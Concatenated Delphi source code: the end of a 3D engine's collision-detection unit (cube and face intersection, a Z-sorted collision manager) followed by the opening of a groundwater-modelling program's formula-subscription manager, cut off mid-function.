if CheckWire(pt1[cWires[i, 0]], pt1[cWires[i, 1]], aad) then
Exit;
end;
Result := false;
end;
function FastCheckCubeVsCube(obj1, obj2: TVXBaseSceneObject): Boolean;
{ var
aad1,aad2 : TVector;
D1,D2,D : Double;
}
begin
// DanB -this bit of code isn't needed (since collision code does BoundingBox elimination)
// also is incorrect when objects further up the "object tree" are scaled
{
aad1 := obj1.AxisAlignedDimensions;
aad2 := obj2.AxisAlignedDimensions;
D1 := VectorLength(aad1);
D2 := VectorLength(aad2);
D := Sqrt(obj1.SqrDistanceTo(obj2.AbsolutePosition));
if D>(D1+D2) then result := false
else begin
D1 := MinAbsXYZComponent(aad1);
D2 := MinAbsXYZComponent(aad2);
if D<(D1+D2) then result := true
else begin
}
// DanB
Result := DoCubesIntersectPrim(obj1, obj2) or
DoCubesIntersectPrim(obj2, obj1);
{ end;
end;
}
end;
{Behaviour - Checks for collisions between Faces and cube by Checking
whether triangles on the mesh have a point inside the cube,
or a triangle intersects the side
Issues - Checks whether triangles on the mesh have a point inside the cube
1) When the cube is completely inside a mesh, it will contain
no triangles hence no collision detected
2) When the mesh is (almost) completely inside the cube
Octree.GetTrianglesInCube returns no points, why? }
function FastCheckCubeVsFace(obj1, obj2: TVXBaseSceneObject): Boolean;
// var
// triList : TAffineVectorList;
// m1to2, m2to1 : TMatrix;
// i:integer;
begin
if (obj2 is TVXFreeForm) then
begin
// check if we are initialized correctly
if not Assigned(TVXFreeForm(obj2).Octree) then
TVXFreeForm(obj2).BuildOctree;
Result := TVXFreeForm(obj2).OctreeAABBIntersect
(obj1.AxisAlignedBoundingBoxUnscaled, obj1.AbsoluteMatrix,
obj1.InvAbsoluteMatrix)
// could then analyse triangles and return contact points
end
else
begin
// CubeVsFace only works if one is FreeForm Object
Result := IntersectCubes(obj1, obj2);
end;
end;
function FastCheckFaceVsCube(obj1, obj2: TVXBaseSceneObject): Boolean;
begin
Result := FastCheckCubeVsFace(obj2, obj1);
end;
// this function does not check for rounds that results from Smoth rendering
// if anybody needs this, you are welcome to show a solution, but usually this should be good enough
function FastCheckFaceVsFace(obj1, obj2: TVXBaseSceneObject): Boolean;
type
TTriangle = array [0 .. 2] of TAffineVector;
PTriangle = ^TTriangle;
var
i: Integer;
triList: TAffineVectorList;
tri: PTriangle;
m1to2, m2to1: TMatrix;
AABB2: TAABB;
begin
Result := false;
if (obj1 is TVXFreeForm) and (obj2 is TVXFreeForm) then
begin
// check if we are initialized correctly
if not Assigned(TVXFreeForm(obj1).Octree) then
TVXFreeForm(obj1).BuildOctree;
if not Assigned(TVXFreeForm(obj2).Octree) then
TVXFreeForm(obj2).BuildOctree;
// Check triangles against the other object
// check only the one that are near the destination object (using octree of obj1)
// get the 'hot' ones using the tree
MatrixMultiply(obj2.AbsoluteMatrix, obj1.InvAbsoluteMatrix, m1to2);
MatrixMultiply(obj1.AbsoluteMatrix, obj2.InvAbsoluteMatrix, m2to1);
AABB2 := obj2.AxisAlignedBoundingBoxUnscaled;
triList := TVXFreeForm(obj1).Octree.GetTrianglesFromNodesIntersectingCube
(AABB2, m1to2, m2to1);
// in the list originally are the local coords, TransformAsPoints-> now we have obj1 absolute coords
triList.TransformAsPoints(obj1.AbsoluteMatrix);
// Transform to Absolute Coords
try
i := 0;
while i < triList.Count - 2 do
begin
// here we pass absolute coords, then these are transformed with Obj2's InvAbsoluteMatrix to match the local Obj2 System
tri := @triList.List[i];
// the next function will check the given Triangle against only these ones that are close (using the octree of obj2)
if TVXFreeForm(obj2).OctreeTriangleIntersect(tri[0], tri[1], tri[2])
then
begin
Result := true;
{ TODO : Optimize, exit was disabled for performance checks }
Exit;
end;
Inc(i, 3);
end;
finally
triList.Free;
end;
end
else
begin
// FaceVsFace does work only for two FreeForm Objects
Result := IntersectCubes(obj1, obj2);
end;
end;
function IntersectCubes(obj1, obj2: TVXBaseSceneObject): Boolean;
var
aabb1, AABB2: TAABB;
m1to2, m2to1: TMatrix;
begin
// Calc AABBs
aabb1 := obj1.AxisAlignedBoundingBoxUnscaled;
AABB2 := obj2.AxisAlignedBoundingBoxUnscaled;
// Calc Conversion Matrixes
MatrixMultiply(obj1.AbsoluteMatrix, obj2.InvAbsoluteMatrix, m1to2);
MatrixMultiply(obj2.AbsoluteMatrix, obj1.InvAbsoluteMatrix, m2to1);
Result := IntersectAABBs(aabb1, AABB2, m1to2, m2to1);
end;
// ------------------
// ------------------ TCollisionManager ------------------
// ------------------
constructor TVXCollisionManager.Create(AOwner: TComponent);
begin
inherited Create(AOwner);
FClients := TList.Create;
RegisterManager(Self);
end;
destructor TVXCollisionManager.Destroy;
begin
DeRegisterAllClients;
DeRegisterManager(Self);
FClients.Free;
inherited Destroy;
end;
procedure TVXCollisionManager.RegisterClient(aClient: TVXBCollision);
begin
if Assigned(aClient) then
if FClients.IndexOf(aClient) < 0 then
begin
FClients.Add(aClient);
aClient.FManager := Self;
end;
end;
procedure TVXCollisionManager.DeRegisterClient(aClient: TVXBCollision);
begin
if Assigned(aClient) then
begin
aClient.FManager := nil;
FClients.Remove(aClient);
end;
end;
procedure TVXCollisionManager.DeRegisterAllClients;
var
i: Integer;
begin
// Fast deregistration
for i := 0 to FClients.Count - 1 do
TVXBCollision(FClients[i]).FManager := nil;
FClients.Clear;
end;
// Reference code
{
procedure TCollisionManager.CheckCollisions;
var
obj1, obj2 : TVXBaseSceneObject;
cli1, cli2 : TVXBCollision;
grp1, grp2 : Integer; // GroupIndex of collisions
i, j : Integer;
begin
if not Assigned(FOnCollision) then Exit;
// if you know a code slower than current one, call me ;)
// TODO : speed improvements & distance cacheing
for i:=0 to FClients.Count-2 do begin
cli1:=TVXBCollision(FClients[i]);
obj1:=cli1.OwnerBaseSceneObject;
grp1:=cli1.GroupIndex;
for j:=i+1 to FClients.Count-1 do begin
cli2:=TVXBCollision(FClients[j]);
obj2:=cli2.OwnerBaseSceneObject;
grp2:=cli2.GroupIndex;
// if either one GroupIndex=0 or both are different, check for collision
if ((grp1=0) or (grp2=0) or (grp1<>grp2)) then begin
if cFastCollisionChecker[cli1.BoundingMode, cli2.BoundingMode](obj1, obj2) then
FOnCollision(Self, obj1, obj2);
end;
end;
end;
end;
}
// [---- new CheckCollisions / Dan Bartlett
// CheckCollisions (By Dan Bartlett) - sort according to Z axis
//
// Some comments: Much faster than original, especially when objects are spread out.
// TODO:
// Try to make faster when objects are close
// Still more improvements can be made, better method (dynamic octree?)
// Faster sorting? (If a faster way than Delphi's QuickSort is available)
// Another Event called OnNoCollisionEvent could be added
// Fit bounding box methods into GLScene "Grand Scheme Of Things"
//
// Behaviour:
// If GroupIndex < 0 then it will not be checked for collisions against
// any other object *** WARNING: THIS IS DIFFERENT FROM PREVIOUS VERSION ***
//
// If GroupIndex = 0 then object will be tested against all objects with GroupIndex >= 0
// Collision Testing will only be performed on objects from different groups
// Collision testing occurs even when an object is not visible, allowing low-triangle count
// collision shapes to be used to model complex objects (Different to previous version)
type
// only add collision node to list if GroupIndex>=0
TCollisionNode = class
public
Collision: TVXBCollision;
AABB: TAABB;
constructor Create(Collision: TVXBCollision; AABB: TAABB);
end;
constructor TCollisionNode.Create(Collision: TVXBCollision; AABB: TAABB);
begin
inherited Create();
Self.Collision := Collision;
Self.AABB := AABB;
end;
function CompareDistance(Item1, Item2: Pointer): Integer;
var
d: Extended;
begin
// Z-axis sort
d := (TCollisionNode(Item2).AABB.min.Z - TCollisionNode(Item1).AABB.min.Z);
if d > 0 then
Result := -1
else if d < 0 then
Result := 1
else
Result := 0;
end;
procedure TVXCollisionManager.CheckCollisions;
var
NodeList: TList;
CollisionNode1, CollisionNode2: TCollisionNode;
obj1, obj2: TVXBaseSceneObject;
cli1, cli2: TVXBCollision;
grp1, grp2: Integer; // GroupIndex of collisions
i, j: Integer;
box1: TAABB;
begin
if not Assigned(FOnCollision) then
Exit;
// this next bit of code would be faster if bounding box was stored
NodeList := TList.Create;
try
NodeList.Count := 0;
for i := 0 to FClients.Count - 1 do
begin
cli1 := TVXBCollision(FClients[i]);
grp1 := cli1.GroupIndex;
if grp1 < 0 then // if groupindex is negative don't add to list
Continue;
obj1 := cli1.OwnerBaseSceneObject;
// TODO: need to do different things for different objects, especially points (to improve speed)
box1 := obj1.AxisAlignedBoundingBoxUnscaled;
// get obj1 axis-aligned bounding box
if box1.min.Z >= box1.max.Z then
Continue; // check for case where no bb exists
AABBTransform(box1, obj1.AbsoluteMatrix); // & transform it to world axis
CollisionNode1 := TCollisionNode.Create(cli1, box1);
NodeList.Add(CollisionNode1);
end;
if NodeList.Count < 2 then
Exit;
NodeList.Sort(@CompareDistance);
// depth-sort bounding boxes (min bb.z values)
for i := 0 to NodeList.Count - 2 do
begin
CollisionNode1 := TCollisionNode(NodeList[i]);
cli1 := CollisionNode1.Collision;
grp1 := cli1.GroupIndex;
for j := i + 1 to NodeList.Count - 1 do
begin
CollisionNode2 := TCollisionNode(NodeList[j]);
cli2 := CollisionNode2.Collision;
// Check BBox1 and BBox2 overlap in the z-direction
if (CollisionNode2.AABB.min.Z > CollisionNode1.AABB.max.Z) then
Break;
grp2 := cli2.GroupIndex;
// if either one GroupIndex=0 or both are different, check for collision
if ((grp1 = 0) or (grp2 = 0) or (grp1 <> grp2)) = false then
Continue;
// check whether box1 and box2 overlap in the XY Plane
if IntersectAABBsAbsoluteXY(CollisionNode1.AABB, CollisionNode2.AABB)
then
begin
obj1 := cli1.OwnerBaseSceneObject;
obj2 := cli2.OwnerBaseSceneObject;
if cFastCollisionChecker[cli1.BoundingMode, cli2.BoundingMode]
(obj1, obj2) then
FOnCollision(Self, obj1, obj2);
end;
end;
end;
finally
for i := 0 to NodeList.Count - 1 do
begin
CollisionNode1 := NodeList.Items[i];
CollisionNode1.Free;
end;
NodeList.Free;
end;
end;
// new CheckCollisions / Dan Bartlett -----]
// ------------------
// ------------------ TVXBCollision ------------------
// ------------------
constructor TVXBCollision.Create(AOwner: TXCollection);
begin
inherited Create(AOwner);
end;
destructor TVXBCollision.Destroy;
begin
Manager := nil;
inherited Destroy;
end;
class function TVXBCollision.FriendlyName: String;
begin
Result := 'Collision';
end;
class function TVXBCollision.FriendlyDescription: String;
begin
Result := 'Collision-detection registration';
end;
procedure TVXBCollision.WriteToFiler(writer: TWriter);
begin
with writer do
begin
// ArchiveVersion 1, added FGroupIndex
// ArchiveVersion 2, added inherited call
WriteInteger(2);
inherited;
if Assigned(FManager) then
WriteString(FManager.GetNamePath)
else
WriteString('');
WriteInteger(Integer(BoundingMode));
WriteInteger(FGroupIndex);
end;
end;
procedure TVXBCollision.ReadFromFiler(reader: TReader);
var
archiveVersion: Integer;
begin
with reader do
begin
archiveVersion := ReadInteger;
Assert(archiveVersion in [0 .. 2]);
if archiveVersion >= 2 then
inherited;
FManagerName := ReadString;
BoundingMode := TCollisionBoundingMode(ReadInteger);
Manager := nil;
if archiveVersion >= 1 then
FGroupIndex := ReadInteger
else
FGroupIndex := 0;
end;
end;
procedure TVXBCollision.Loaded;
var
mng: TComponent;
begin
inherited;
if FManagerName <> '' then
begin
mng := FindManager(TVXCollisionManager, FManagerName);
if Assigned(mng) then
Manager := TVXCollisionManager(mng);
FManagerName := '';
end;
end;
procedure TVXBCollision.Assign(Source: TPersistent);
begin
if Source is TVXBCollision then
begin
Manager := TVXBCollision(Source).Manager;
BoundingMode := TVXBCollision(Source).BoundingMode;
end;
inherited Assign(Source);
end;
procedure TVXBCollision.SetManager(const val: TVXCollisionManager);
begin
if val <> FManager then
begin
if Assigned(FManager) then
FManager.DeRegisterClient(Self);
if Assigned(val) then
val.RegisterClient(Self);
end;
end;
procedure TVXBCollision.SetGroupIndex(const value: Integer);
begin
FGroupIndex := value;
end;
function GetOrCreateCollision(behaviours: TVXBehaviours): TVXBCollision;
var
i: Integer;
begin
i := behaviours.IndexOfClass(TVXBCollision);
if i >= 0 then
Result := TVXBCollision(behaviours[i])
else
Result := TVXBCollision.Create(behaviours);
end;
function GetOrCreateCollision(obj: TVXBaseSceneObject): TVXBCollision;
begin
Result := GetOrCreateCollision(obj.behaviours);
end;
// ------------------------------------------------------------------
initialization
// ------------------------------------------------------------------
RegisterXCollectionItemClass(TVXBCollision);
finalization
UnregisterXCollectionItemClass(TVXBCollision);
end.
|
unit FormulaManagerUnit;
interface
uses SysUtils, Classes, Contnrs, RbwParser, IntListUnit, Dialogs,
HashTableFacadeUnit;
type
TChangeSubscription = procedure (Sender: TObject;
Subject: TObject; const AName: string);
PChangeSubscription = ^TChangeSubscription;
TFormulaObject = class(TComponent)
private
FPosition: integer;
FExpression: TExpression;
FParser: TRbwParser;
FFormula: string;
FNewSubscriptions: TStringList;
FNotifies: Boolean;
FReferenceCount: integer;
FOnRemoveSubscriptionList: TList;
FOnRestoreSubscriptionList: TList;
FReferenceCountList: TIntegerList;
FSubjectList: TList;
procedure SetFormula(Value: string);
procedure SetParser(const Value: TRbwParser);
procedure CompileFormula(var Value: string);
function GetFormula: string;
procedure ResetFormula;
function GetExpression: TExpression;
// When a @link(TDataArray) or @link(TGlobalVariable) is
// being renamed, @name is called. It removes subscriptions
// to the items in OldSubscriptions and stores the items in
// NewSubscriptions for use in RestoreSubscriptions.
procedure RemoveSubscriptions(OldSubscriptions, NewSubscriptions: TStringList);
procedure RestoreSubscriptions;
procedure FixSubscriptions;
procedure DeleteSubscriptionEvents(OnRemoveSubscription,
OnRestoreSubscription: TChangeSubscription; Subject: TObject);
function GetDisplayFormula: string;
protected
procedure Notification(AComponent: TComponent;
Operation: TOperation); override;
public
constructor Create(AOwner: TComponent); override;
destructor Destroy; override;
property Expression: TExpression read GetExpression;
property Formula: string read GetFormula;
property DisplayFormula: string read GetDisplayFormula;
property Parser: TRbwParser read FParser write SetParser;
// if @name is called with new events, be sure to update
// @link(RemoveSubscriptions), @link(RestoreSubscriptions), and
// @link(FixSubscriptions).
procedure AddSubscriptionEvents(OnRemoveSubscription,
OnRestoreSubscription: TChangeSubscription; Subject: TObject);
end;
{@name is used to update formulas when the names of variables used
in the formulas are changed. The procedures @link(RemoveSubscriptions)
and @link(RestoreSubscriptions) are used for this purpose.
It is also used to ensure that all formulas
are properly linked to the items that depend on them.
@link(FixSubscriptions) is used for this purpose.}
TFormulaManager = class(TObject)
private
// @name is actually a TObjectList.
FList: TList;
FSortedList: THashTableFacade;
FEmptyFormula: TFormulaObject;
public
Constructor Create;
Destructor Destroy; override;
function Add: TFormulaObject;
procedure Remove(FormulaObject: TFormulaObject;
OnRemoveSubscription, OnRestoreSubscription:TChangeSubscription;
Subject: TObject);
procedure ResetFormulas;
procedure RemoveSubscriptions(OldSubscriptions, NewSubscriptions: TStringList);
procedure RestoreSubscriptions;
procedure FixSubscriptions;
procedure ChangeFormula(var FormulaObject: TFormulaObject;
NewFormula: string; Parser: TRbwParser; OnRemoveSubscription,
OnRestoreSubscription: TChangeSubscription; Subject: TObject);
procedure Pack;
procedure Clear;
function FunctionUsed(AString: string): boolean;
end;
implementation
uses
frmGoPhastUnit, DataSetUnit, ScreenObjectUnit, ModflowBoundaryUnit,
ModflowEtsUnit, ModflowSfrTable, SubscriptionUnit, GIS_Functions,
PhastModelUnit, Math, ModflowHfbUnit, Mt3dmsChemUnit,
ModflowRipPlantGroupsUnit;
{ TFormulaObject }
constructor TFormulaObject.Create(AOwner: TComponent);
begin
inherited;
FNewSubscriptions := TStringList.Create;
FReferenceCount := 1;
FOnRemoveSubscriptionList := TList.Create;
FOnRestoreSubscriptionList := TList.Create;
FReferenceCountList:= TIntegerList.Create;
FSubjectList:= TObjectList.Create;
end;
procedure TFormulaObject.DeleteSubscriptionEvents(OnRemoveSubscription,
OnRestoreSubscription: TChangeSubscription; Subject: TObject);
var
Index: Integer;
Subjects: TList;
SubjectIndex: Integer;
begin
if not Assigned(OnRemoveSubscription) then
begin
Assert(not Assigned(OnRestoreSubscription));
end
else
begin
Assert(Assigned(OnRestoreSubscription));
Index := FOnRemoveSubscriptionList.IndexOf(Addr(OnRemoveSubscription));
if Index >= 0 then
begin
Assert(FOnRestoreSubscriptionList[Index] = Addr(OnRestoreSubscription));
FReferenceCountList[Index] := FReferenceCountList[Index]-1;
Subjects := FSubjectList[Index];
for SubjectIndex := Subjects.Count - 1 downto 0 do
begin
if Subjects[SubjectIndex] = Subject then
begin
Subjects[SubjectIndex] := nil;
break;
end;
end;
if (Subjects.Count > 100) then
begin
if (FReferenceCountList[Index] < (Subjects.Count div 6)) then
begin
Subjects.Pack;
end;
end;
end;
end;
end;
destructor TFormulaObject.Destroy;
begin
FSubjectList.Free;
FReferenceCountList.Free;
FOnRestoreSubscriptionList.Free;
FOnRemoveSubscriptionList.Free;
FNewSubscriptions.Free;
inherited;
end;
procedure TFormulaObject.FixSubscriptions;
var
LocalExpression: TExpression;
UsedVariables: TStringList;
VariableIndex: Integer;
EventIndex: Integer;
RestoreEvent: PChangeSubscription;
Subjects: TList;
SubjectIndex: Integer;
Subject: TObject;
begin
if (FExpression = nil) and (FOnRemoveSubscriptionList.Count > 0) then
begin
LocalExpression := Expression;
if LocalExpression <> nil then
begin
UsedVariables := LocalExpression.VariablesUsed;
for VariableIndex := 0 to UsedVariables.Count - 1 do
begin
for EventIndex := 0 to FOnRestoreSubscriptionList.Count - 1 do
begin
if (FReferenceCountList[EventIndex] > 0) then
begin
RestoreEvent := FOnRestoreSubscriptionList[EventIndex];
if Assigned(RestoreEvent^) then
begin
Subjects := FSubjectList[EventIndex];
for SubjectIndex := 0 to Subjects.Count - 1 do
begin
Subject := Subjects[SubjectIndex];
if Subject = nil then
begin
Continue;
end;
if RestoreEvent = Addr(GlobalDataArrayRestoreSubscription) then
begin
GlobalDataArrayRestoreSubscription(self, Subject, UsedVariables[VariableIndex]);
end
else if RestoreEvent = Addr(GlobalRestoreDataArraySubscription) then
begin
GlobalRestoreDataArraySubscription(self, Subject, UsedVariables[VariableIndex]);
end
else if RestoreEvent = Addr(GlobalRestoreElevationSubscription) then
begin
GlobalRestoreElevationSubscription(self, Subject, UsedVariables[VariableIndex]);
end
else if RestoreEvent = Addr(GlobalRestoreHigherElevationSubscription) then
begin
GlobalRestoreHigherElevationSubscription(self, Subject, UsedVariables[VariableIndex]);
end
else if RestoreEvent = Addr(GlobalRestoreLowerElevationSubscription) then
begin
GlobalRestoreLowerElevationSubscription(self, Subject, UsedVariables[VariableIndex]);
end
else if RestoreEvent = Addr(GlobalRestoreBoundaryDataArraySubscription) then
begin
GlobalRestoreBoundaryDataArraySubscription(self, Subject, UsedVariables[VariableIndex]);
end
else if RestoreEvent = Addr(GlobalRestorePhastBoundarySubscription) then
begin
GlobalRestorePhastBoundarySubscription(self, Subject, UsedVariables[VariableIndex]);
end
else if RestoreEvent = Addr(GlobalRestoreModflowBoundaryItemSubscription) then
begin
GlobalRestoreModflowBoundaryItemSubscription(self, Subject, UsedVariables[VariableIndex]);
end
else if RestoreEvent = Addr(StringValueRestoreSubscription) then
begin
StringValueRestoreSubscription(self, Subject, UsedVariables[VariableIndex]);
end
else if RestoreEvent = Addr(TableRowRestoreSubscription) then
begin
TableRowRestoreSubscription(self, Subject, UsedVariables[VariableIndex]);
end
else if RestoreEvent = Addr(RestoreScreenObjectPropertySubscription) then
begin
RestoreScreenObjectPropertySubscription(self, Subject, UsedVariables[VariableIndex]);
end
else if RestoreEvent = Addr(Mt3dmsStringValueRestoreSubscription) then
begin
Mt3dmsStringValueRestoreSubscription(self, Subject, UsedVariables[VariableIndex])
end
else if RestoreEvent = Addr(GlobalRestoreRipSubscription) then
begin
GlobalRestoreRipSubscription(self, Subject, UsedVariables[VariableIndex])
end
else
begin
Assert(False);
end;
end;
end;
end;
end;
end;
end;
end;
end;
function TFormulaObject.GetDisplayFormula: string;
begin
if (FExpression = nil) or not FNotifies then
begin
if (FParser <> nil) and (FFormula <> '') then
begin
CompileFormula(FFormula);
end;
result := FFormula;
if FExpression <> nil then
begin
result := FExpression.DecompileDisplay;
end;
end
else
begin
result := FExpression.DecompileDisplay;
end;
end;
function TFormulaObject.GetExpression: TExpression;
begin
if (FExpression = nil) or not FNotifies then
begin
if (FParser <> nil) and (FFormula <> '') then
begin
CompileFormula(FFormula);
end;
end;
result := FExpression;
end;
function TFormulaObject.GetFormula: string;
begin
if (FExpression = nil) or not FNotifies then
begin
if (FParser <> nil) and (FFormula <> '') then
begin
CompileFormula(FFormula);
end;
result := FFormula;
end
else
begin
result := FExpression.Decompile;
FFormula := result;
end;
end;
procedure TFormulaObject.Notification(AComponent: TComponent;
Operation: TOperation);
begin
inherited;
if (Operation = opRemove)
and (FExpression <> nil)
and (FExpression.Notifier = AComponent) then
begin
FExpression := nil;
end;
end;
procedure TFormulaObject.RemoveSubscriptions(OldSubscriptions,
NewSubscriptions: TStringList);
var
LocalExpression: TExpression;
UsedVariables: TStringList;
VariableIndex: Integer;
EventIndex: Integer;
PRemoveEvent: PChangeSubscription;
Subjects: TList;
SubjectIndex: Integer;
Subject: TObject;
begin
Assert(OldSubscriptions.Count = NewSubscriptions.Count);
if (FOnRemoveSubscriptionList.Count > 0) then
begin
LocalExpression := Expression;
if LocalExpression <> nil then
begin
UsedVariables := LocalExpression.VariablesUsed;
if UsedVariables.Count > 0 then
begin
FNewSubscriptions.Clear;
for VariableIndex := 0 to OldSubscriptions.Count - 1 do
begin
if UsedVariables.IndexOf(OldSubscriptions[VariableIndex]) >= 0 then
begin
for EventIndex := 0 to FOnRemoveSubscriptionList.Count - 1 do
begin
if (FReferenceCountList[EventIndex] > 0) then
begin
PRemoveEvent := FOnRemoveSubscriptionList[EventIndex];
if Assigned(PRemoveEvent^) then
begin
Subjects := FSubjectList[EventIndex];
for SubjectIndex := 0 to Subjects.Count - 1 do
begin
Subject := Subjects[SubjectIndex];
if Subject = nil then
begin
Continue;
end;
if PRemoveEvent = Addr(GlobalDataArrayRemoveSubscription) then
begin
GlobalDataArrayRemoveSubscription(self, Subject, OldSubscriptions[VariableIndex]);
end
else if PRemoveEvent = Addr(GlobalRemoveScreenObjectDataArraySubscription) then
begin
GlobalRemoveScreenObjectDataArraySubscription(self, Subject, OldSubscriptions[VariableIndex]);
end
else if PRemoveEvent = Addr(GlobalRemoveElevationSubscription) then
begin
GlobalRemoveElevationSubscription(self, Subject, OldSubscriptions[VariableIndex]);
end
else if PRemoveEvent = Addr(GlobalRemoveHigherElevationSubscription) then
begin
GlobalRemoveHigherElevationSubscription(self, Subject, OldSubscriptions[VariableIndex]);
end
else if PRemoveEvent = Addr(GlobalRemoveLowerElevationSubscription) then
begin
GlobalRemoveLowerElevationSubscription(self, Subject, OldSubscriptions[VariableIndex]);
end
else if PRemoveEvent = Addr(GlobalRemoveBoundaryDataArraySubscription) then
begin
GlobalRemoveBoundaryDataArraySubscription(self, Subject, OldSubscriptions[VariableIndex]);
end
else if PRemoveEvent = Addr(GlobalRemovePhastBoundarySubscription) then
begin
GlobalRemovePhastBoundarySubscription(self, Subject, OldSubscriptions[VariableIndex]);
end
else if PRemoveEvent = Addr(GlobalRemoveModflowBoundaryItemSubscription) then
begin
GlobalRemoveModflowBoundaryItemSubscription(self, Subject, OldSubscriptions[VariableIndex]);
end
else if PRemoveEvent = Addr(StringValueRemoveSubscription) then
begin
StringValueRemoveSubscription(self, Subject, OldSubscriptions[VariableIndex]);
end
else if PRemoveEvent = Addr(TableRowRemoveSubscription) then
begin
TableRowRemoveSubscription(self, Subject, OldSubscriptions[VariableIndex]);
end
else if PRemoveEvent = Addr(RemoveScreenObjectPropertySubscription) then
begin
RemoveScreenObjectPropertySubscription(self, Subject, OldSubscriptions[VariableIndex]);
end
else if PRemoveEvent = Addr(GlobalDummyHandleSubscription) then
begin
GlobalDummyHandleSubscription(self, Subject, OldSubscriptions[VariableIndex]);
end
else if PRemoveEvent = Addr(Mt3dmsStringValueRemoveSubscription) then
begin
Mt3dmsStringValueRemoveSubscription(self, Subject, OldSubscriptions[VariableIndex]);
end
else if PRemoveEvent = Addr(GlobalRemoveRipSubscription) then
begin
GlobalRemoveRipSubscription(self, Subject, OldSubscriptions[VariableIndex]);
end
else
begin
Assert(False);
end;
end;
FNewSubscriptions.Add(NewSubscriptions[VariableIndex]);
end;
end;
end;
end;
end;
end;
end;
end;
end;
procedure TFormulaObject.ResetFormula;
begin
if FExpression <> nil then
begin
FFormula := FExpression.Decompile;
end;
end;
procedure TFormulaObject.RestoreSubscriptions;
var
VariableIndex: Integer;
EventIndex: Integer;
RestoreEvent: PChangeSubscription;
Subjects: TList;
SubjectIndex: Integer;
Subject: TObject;
begin
if (FOnRestoreSubscriptionList.Count > 0)
and (FNewSubscriptions.Count > 0) then
begin
for VariableIndex := 0 to FNewSubscriptions.Count - 1 do
begin
for EventIndex := 0 to FOnRestoreSubscriptionList.Count - 1 do
begin
if (FReferenceCountList[EventIndex] > 0) then
begin
RestoreEvent := FOnRestoreSubscriptionList[EventIndex];
if Assigned(RestoreEvent^) then
begin
Subjects := FSubjectList[EventIndex];
for SubjectIndex := 0 to Subjects.Count - 1 do
begin
Subject := Subjects[SubjectIndex];
if Subject = nil then
begin
Continue;
end;
if RestoreEvent = Addr(GlobalDataArrayRestoreSubscription) then
begin
GlobalDataArrayRestoreSubscription(self, Subject, FNewSubscriptions[VariableIndex]);
end
else if RestoreEvent = Addr(GlobalRestoreDataArraySubscription) then
begin
GlobalRestoreDataArraySubscription(self, Subject, FNewSubscriptions[VariableIndex]);
end
else if RestoreEvent = Addr(GlobalRestoreElevationSubscription) then
begin
GlobalRestoreElevationSubscription(self, Subject, FNewSubscriptions[VariableIndex]);
end
else if RestoreEvent = Addr(GlobalRestoreHigherElevationSubscription) then
begin
GlobalRestoreHigherElevationSubscription(self, Subject, FNewSubscriptions[VariableIndex]);
end
else if RestoreEvent = Addr(GlobalRestoreLowerElevationSubscription) then
begin
GlobalRestoreLowerElevationSubscription(self, Subject, FNewSubscriptions[VariableIndex]);
end
else if RestoreEvent = Addr(GlobalRestoreBoundaryDataArraySubscription) then
begin
GlobalRestoreBoundaryDataArraySubscription(self, Subject, FNewSubscriptions[VariableIndex]);
end
else if RestoreEvent = Addr(GlobalRestorePhastBoundarySubscription) then
begin
GlobalRestorePhastBoundarySubscription(self, Subject, FNewSubscriptions[VariableIndex]);
end
else if RestoreEvent = Addr(GlobalRestoreModflowBoundaryItemSubscription) then
begin
GlobalRestoreModflowBoundaryItemSubscription(self, Subject, FNewSubscriptions[VariableIndex]);
end
else if RestoreEvent = Addr(StringValueRestoreSubscription) then
begin
StringValueRestoreSubscription(self, Subject, FNewSubscriptions[VariableIndex]);
end
else if RestoreEvent = Addr(TableRowRestoreSubscription) then
begin
TableRowRestoreSubscription(self, Subject, FNewSubscriptions[VariableIndex]);
end
else if RestoreEvent = Addr(RestoreScreenObjectPropertySubscription) then
begin
RestoreScreenObjectPropertySubscription(self, Subject, FNewSubscriptions[VariableIndex]);
end
else if RestoreEvent = Addr(Mt3dmsStringValueRestoreSubscription) then
begin
Mt3dmsStringValueRestoreSubscription(self, Subject, FNewSubscriptions[VariableIndex]);
end
else if RestoreEvent = Addr(GlobalRestoreRipSubscription) then
begin
GlobalRestoreRipSubscription(self, Subject, FNewSubscriptions[VariableIndex]);
end
else
begin
Assert(False);
end;
end;
end;
end;
end;
end;
FNewSubscriptions.Clear;
end;
end;
procedure TFormulaObject.AddSubscriptionEvents(OnRemoveSubscription,
OnRestoreSubscription: TChangeSubscription; Subject: TObject);
var
Index: Integer;
Subjects: TList;
begin
if not Assigned(OnRemoveSubscription) then
begin
Assert(not Assigned(OnRestoreSubscription));
end
else
begin
Assert(Assigned(OnRestoreSubscription));
Index := FOnRemoveSubscriptionList.IndexOf(Addr(OnRemoveSubscription));
if Index >= 0 then
begin
FReferenceCountList[Index] := FReferenceCountList[Index] + 1;
Subjects := FSubjectList[Index];
Subjects.Add(Subject)
end
else
begin
FOnRemoveSubscriptionList.Add(Addr(OnRemoveSubscription));
FOnRestoreSubscriptionList.Add(Addr(OnRestoreSubscription));
FReferenceCountList.Add(1);
Subjects := TList.Create;
FSubjectList.Add(Subjects);
Subjects.Add(Subject)
end;
end;
end;
procedure TFormulaObject.CompileFormula(var Value: string);
var
TempValue: string;
ADummyValue: double;
begin
if (FExpression <> nil) and FNotifies then
begin
begin
FExpression.Notifier.RemoveFreeNotification(self);
end;
end;
if Value = '' then
begin
FExpression := nil;
FNotifies := False;
end
else if (frmGoPhast.PhastModel <> nil)
and ((frmGoPhast.PhastModel.ComponentState * [csLoading, csReading]) <> [])
and (Value <> 'True') and (Value <> 'False')
and not TryStrToFloat(Value, ADummyValue) then
begin
FExpression := nil;
FNotifies := False;
end
else
begin
TempValue := Value;
try
FParser.Compile(Value);
FExpression := FParser.CurrentExpression;
Assert(FExpression <> nil);
begin
FNotifies := True;
FExpression.Notifier.FreeNotification(self);
end;
except on ERbwParserError do
begin
FExpression := nil;
Value := TempValue;
FNotifies := False;
end;
end;
end;
end;
procedure TFormulaObject.SetFormula(Value: string);
begin
if (FFormula <> Value) or (FExpression = nil) then
begin
if FParser <> nil then
begin
CompileFormula(Value);
end;
FFormula := Value;
end;
end;
procedure TFormulaObject.SetParser(const Value: TRbwParser);
begin
if FParser <> Value then
begin
FParser := Value;
if (FParser <> nil) and (FFormula <> '') then
begin
try
CompileFormula(FFormula);
except on ERbwParserError do
begin
// ignore.
end;
end;
end;
end;
end;
{ TFormulaManager }
function TFormulaManager.Add: TFormulaObject;
begin
if FEmptyFormula = nil then
begin
FEmptyFormula := TFormulaObject.Create(nil);
end;
result := FEmptyFormula;
end;
procedure TFormulaManager.ChangeFormula(var FormulaObject: TFormulaObject;
NewFormula: string; Parser: TRbwParser; OnRemoveSubscription,
OnRestoreSubscription: TChangeSubscription; Subject: TObject);
var
APointer: Pointer;
